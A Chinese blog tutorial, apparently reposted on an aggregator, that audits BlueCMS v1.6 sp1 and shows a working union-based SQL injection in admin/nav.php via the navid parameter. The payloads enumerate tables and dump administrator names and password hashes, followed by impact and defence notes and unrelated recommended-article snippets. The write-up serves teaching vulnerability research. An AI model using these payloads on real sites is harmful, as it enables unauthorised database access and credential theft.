bluecms 手把手教你0day挖掘-基础入门篇_高小白—专业摸鱼的博客-程序员信息网

技术标签: web安全  sql  

Bluecms后台sql注入漏洞

一、环境搭建

1、PhP地方门户系统 BlueCMS v1.6 sp1

下载地址:https://down.chinaz.com/soft/26181.htm

2、PHPstudy apache,mysql集成环境

二、代码审计

在该cms系统中,其后台存在sql注入漏洞
在这里插入图片描述

这里直接拼接了前端接受的参数navid,我们可以直接控制传入参数导致sql注入漏洞产生。

img

这里对传入的参数进行了过滤,其中addslashes()函数,返回在预定义字符之前添加反斜杠的字符串,预定义字符有,单引号,双引号,反斜杠,null等,这里sql语句为数字型注入,该过滤无效。

在这里插入图片描述

这里判断传入的参数是否是数组,若不是数组直接使用addslashes()函数进行过滤。

img

img

整个sql语句执行过程中只对传入参数使用addslashes()函数进行了过滤,后续并没有进行其他过滤。这里存在sql 注入漏洞

三、漏洞利用

1、正常payload :

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1

在这里插入图片描述

返回正常页面

2、猜列数payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1 order by 6

得出列数为6

3、union注入payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,version(),database(),4,user(),6

img

4、爆表名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database()

在这里插入图片描述

5、爆列名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name=0x626C75655F61646D696E

这里我们选择了blue_admin这个表

img

6、爆数据 payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(admin_name),group_concat(pwd),4,5,6 from blue_admin

在这里插入图片描述

7、管理员密码被MD5加密,解密后得admin

在这里插入图片描述

四、漏洞危害

(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。

(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

五、漏洞防御

(1)基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。

(2)对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。

(3)数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。

(4)严格限制网站访问数据库的权限。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/G208_522/article/details/123507319

智能推荐

Java数据结构-基本数据结构(队列、栈、单双链表、哈希表)_微特程序员的博客-程序员信息网

线性结构线性结构特点数据元素健存在一对一的线性关系有两种不同的存储结构:顺序存储结构和链式存储结构链式存储的线性表成为链表,链表中的存储元素不一定是连续的,元素节点中存放数据元素信息以及相邻元素的地址信息线性结构常见类型有:数组,队列,链表,栈稀疏数组和队列稀疏数组当一个数组中大部分元素为0,或者为同一个值的数组时,可以用稀疏数组来保存该数组稀疏数组的第一行用来记录该...

青龙面板XDD-PLUS登录提示“当前登录环境异常,为保障您的账号安全,暂时无法登录。建议将两个设备连接同一网络或WIFI后重新扫码”解决方法。_Jin1297的博客-程序员信息网

前两天重装青龙面板的时候最后的XDD机器人死活登录不上,用服务器代理扫码登录也不行。按照晚上零零散散的教程解决了这个问题,希望能帮助到也有这个问题的朋友。去go-cqhttp 帮助中心官网点击发行下载按钮跳转到github找到适合自己系统的发行版本。 (下载不动就挂个工具科学上网或者挂个油猴脚本)下载完毕后双击运行。运行后提示框点击确定再次点击确定第三次点击确定后会出现一个bat文件双击运行输入1,运行完毕后提示修改config.yml,...

Router小结_chengqiuming的博客-程序员信息网_router snat

Neutron的Router模型中,蕴含着三种路由:直连路由、默认静态路由和静态路由。前两种路由不需要显示地增加路由表项,也不会体现在路由表(routers)中,当增加一个Port时(add_router_interface),Neutron会自动增加一个直连路由;当增加一个外部网关信息时(external_gateway_info),Neutron会增加一个默认静态路由。路由表中的路由也是静态路...

「Python爬虫系列讲解」四、BeautifulSoup 技术_闭关修炼——暂退的博客-程序员信息网

本专栏是以杨秀璋老师爬虫著作《Python网络数据爬取及分析「从入门到精通」》为主线、个人学习理解为主要内容,以学习笔记形式编写的。本专栏不光是自己的一个学习分享,也希望能给您普及一些关于爬虫的相关知识以及提供一些微不足道的爬虫思路。专栏地址:Python网络数据爬取及分析「从入门到精通」更多爬虫实例详见专栏:Python爬虫牛刀小试前文回顾:「Python爬虫系列讲解」一、网络数据爬取概述「Python爬虫系列讲解」二、Python知识初学「Python爬虫系列讲解」三、正则表达式爬虫之牛..

随便推点

Chemex自定义系列(一)_DLXG001的博客-程序员信息网

于开发者完全开放的原则,chemex是个完全开源的系统,所以很多人会对系统进行个性化的设置,有些是自己的习惯,有些是自己的爱好。一、仪表盘---我的资产。(一)原我的资产变更为设备数量,且实时显示真实设备数量原系统仪表盘最左侧,我的资产,不显示实有资产数,不便于浏览资产数。而我自己的实际情况是,我用这个系统,仅录入设备信息,不存在配件、软件、耗材、服务等,所以我把这个我的资产改为了我的设备,并且可以实时显示我所有的设备数量,点击标签后,还可跳转至设备清单。-=建议大家备份原始文.

winform中App.config 配置文件的简单使用_lfw2019的博客-程序员信息网

https://jingyan.baidu.com/article/b0b63dbf32c5224a48307039.htmlhttps://cloud.tencent.com/developer/article/1342583

基于junit4的关于个人所得税计算的等价类与边界值_关于量子力学的基本原理_weixin_39637260的博客-程序员信息网

​​文章抽选关于量子力学基本原理的几个题目,包括量子力学与经典物理学的对比、量子概念的产生、薛定谔方程的出现、全同性原理和量子路径积分等,作些说明。目的在于激发读者思考量子力学的本质在哪里。撰文 | 郑伟谋 ( 中国科学院理论物理研究所 )来源:中国物理学会期刊网何谓量子力学?量子力学是在经典力学的基础上发展起来的,以微观世界为主要对象。“量子”说的是离散性,20世纪前后有一系列直接的实验证据显示...

Python解答蓝桥杯省赛真题之从入门到真题(续)_大聪明Smart的博客-程序员信息网

由于上篇文章太长了导致MD编辑器很卡,所以另写了一篇接续文章目录1.真题篇1.1 方格分割1.真题篇1.1 方格分割6x6的方格,沿着格子的边线剪开成两部分。要求这两部分的形状完全相同。如图:p1.png, p2.png, p3.png 就是可行的分割法。试计算:包括这3种分法在内,一共有多少种不同的分割方法。注意:旋转对称的属于同一种分割法。请提交该整数,不要填写任何多余的内容或说明文字。def dfs(x, y): global ans if x == 0.

python 反序数_python 反序_weixin_39774682的博客-程序员信息网

广告关闭腾讯云11.11云上盛惠 ,精选热门产品助力上云,云服务器首年88元起,买的越多返的越多,最高返5000元!直接上代码#coding:utf-8def f1(x):#定义一个函数,查找正序反序都相等的数字if type(x) ! =int:#如果函数参数不是整型,退出程序exit(must a int type)x=str(x)lix=list(x)str1=i=len(lix)-1whi...

vue动态更改样式,实现div点击效果_论程序员的自我修养的博客-程序员信息网_vue修改div样式

效果展示:代码如下:<template> <div class="main"> <div class="aaa" :class="{active:index==isActive}" v-for="(item, index) in contentlist" @click="showdifference(index)" :key="index"> {{item.key}}

推荐文章

热门文章

相关标签